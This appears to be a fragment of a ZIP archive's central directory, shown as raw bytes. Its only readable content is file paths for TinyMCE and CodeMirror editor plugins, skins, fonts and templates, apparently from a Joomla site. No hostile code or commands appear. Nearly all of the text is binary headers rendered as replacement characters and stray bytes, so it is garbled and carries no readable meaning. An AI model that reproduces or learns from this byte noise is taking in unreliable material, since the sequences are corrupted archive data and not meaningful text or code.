.Etinymce/plugins/insertdatetime/plugin.min.jsnu�[���PKS��[W��3''#/6Etinymce/plugins/layer/plugin.min.jsnu�[���PKS��[>Y���*�AEtinymce/plugins/legacyoutput/plugin.min.jsnu�[���PKS��[�ѩbRR"�NEtinymce/plugins/link/plugin.min.jsnu�[���PKT��[���(9(9#fjEtinymce/plugins/lists/plugin.min.jsnu�[���PKT��[D�k;A@A@#�Etinymce/plugins/media/plugin.min.jsnu�[���PKT��[r�y��)u�Etinymce/plugins/nonbreaking/plugin.min.jsnu�[���PKT��[�(��)]�Etinymce/plugins/noneditable/plugin.min.jsnu�[���PKT��[�����'��Etinymce/plugins/pagebreak/plugin.min.jsnu�[���PKT��[|ZS(G(G#��Etinymce/plugins/paste/plugin.min.jsnu�[���PKT��[���BB%L9Ftinymce/plugins/preview/plugin.min.jsnu�[���PKT��[#��{%%#�?Ftinymce/plugins/print/plugin.min.jsnu�[���PKT��[�:�~~"[AFtinymce/plugins/save/plugin.min.jsnu�[���PKT��[i[?�]]++FFtinymce/plugins/searchreplace/plugin.min.jsnu�[���PKT��[CM{�@'@'*�_Ftinymce/plugins/spellchecker/plugin.min.jsnu�[���PKT��[pn,���&}�Ftinymce/plugins/tabfocus/plugin.min.jsnu�[���PKT��[���&��#ÌFtinymce/plugins/table/plugin.min.jsnu�[���PKT��[�:���&,EGtinymce/plugins/template/plugin.min.jsnu�[���PKT��[l,<*11'*WGtinymce/plugins/textcolor/plugin.min.jsnu�[���PKV��[�cof�
�
)�gGtinymce/plugins/textpattern/plugin.min.jsnu�[���PKV��[�}��
�
!�rGtinymce/plugins/toc/plugin.min.jsnu�[���PKV��[���O��1�}Gtinymce/plugins/visualblocks/css/visualblocks.cssnu�[���PKV��[?���*-�Gtinymce/plugins/visualblocks/plugin.min.jsnu�[���PKV��[���)�Gtinymce/plugins/visualchars/plugin.min.jsnu�[���PKV��[�`�.�.'	�Gtinymce/plugins/wordcount/plugin.min.jsnu�[���PKV��[�!l��
�
.[�Gtinymce/skins/lightgray/content.inline.min.cssnu�[���PKV��[W�U��'��Gtinymce/skins/lightgray/content.min.cssnu�[���PKV��[�4I{%%/w�Gtinymce/skins/lightgray/fonts/tinymce-small.eotnu�[���PKV��[J���`�`/�Htinymce/skins/lightgray/fonts/tinymce-small.svgnu�[���PKV��[|�M
X$X$/�iHtinymce/skins/lightgray/fonts/tinymce-small.ttfnu�[���PKV��[Y٫��$�$0��Htinymce/skins/lightgray/fonts/tinymce-small.woffnu�[���PKV��[��5�D�D)��Htinymce/skins/lightgray/fonts/tinymce.eotnu�[���PKV��[��p|����)��Htinymce/skins/lightgray/fonts/tinymce.svgnu�[���PKV��[Tf��DD)��Itinymce/skins/lightgray/fonts/tinymce.ttfnu�[���PKV��[�QLDLD*��Itinymce/skins/lightgray/fonts/tinymce.woffnu�[���PKV��[���55&�5Jtinymce/skins/lightgray/img/anchor.gifnu�[���PKV��[����0
0
&"6Jtinymce/skins/lightgray/img/loader.gifnu�[���PKV��[g�e��&�@Jtinymce/skins/lightgray/img/object.gifnu�[���PKV��[����++%�AJtinymce/skins/lightgray/img/trans.gifnu�[���PKV��[���X�X�(BJtinymce/skins/lightgray/skin.ie7.min.cssnu�[���PKV��[cd��X�X�$��Jtinymce/skins/lightgray/skin.min.cssnu�[���PKW��[q�~��r`Ktinymce/templates/layout1.htmlnu�[���PKW��[���((�aKtinymce/templates/snippet1.htmlnu�[���PKW��[ws(�K3K3"bKtinymce/themes/modern/theme.min.jsnu�[���PKW��[��<,�1�1��Ktinymce/tinymce.min.jsnu�[���PK
��[��OH)H)��Qcodemirror/codemirror.phpnu�[���PK
��[����)�)/�Qcodemirror/codemirror.xmlnu�[���PK
��[���--4Rcodemirror/fonts.jsonnu�[���PK
��[趈!QQ�'Rcodemirror/fonts.phpnu�[���PK
��[�r771;,Rcodemirror/layouts/editors/codemirror/element.phpnu�[���PK
��[*4|B��.�0Rcodemirror/layouts/editors/codemirror/init.phpnu�[���PK
��[�
aO	O	0�?Rcodemirror/layouts/editors/codemirror/styles.phpnu�[���PK
��[9�'��
�IRnone/none.phpnu�[���PK
��[���
OYRnone/none.xmlnu�[���PK
��[�
�U���\Rtinymce/field/skins.phpnu�[���PK
��[�i��::
�bRtinymce/field/tinymcebuilder.phpnu�[���PK
��[���iu	u	cuRtinymce/field/uploaddirs.phpnu�[���PK
��[6����$Rtinymce/form/setoptions.xmlnu�[���PK
��[u�K�����Rtinymce/tinymce.phpnu�[���PK
��[�o�c���Stinymce/tinymce.xmlnu�[���PKxx?�܌S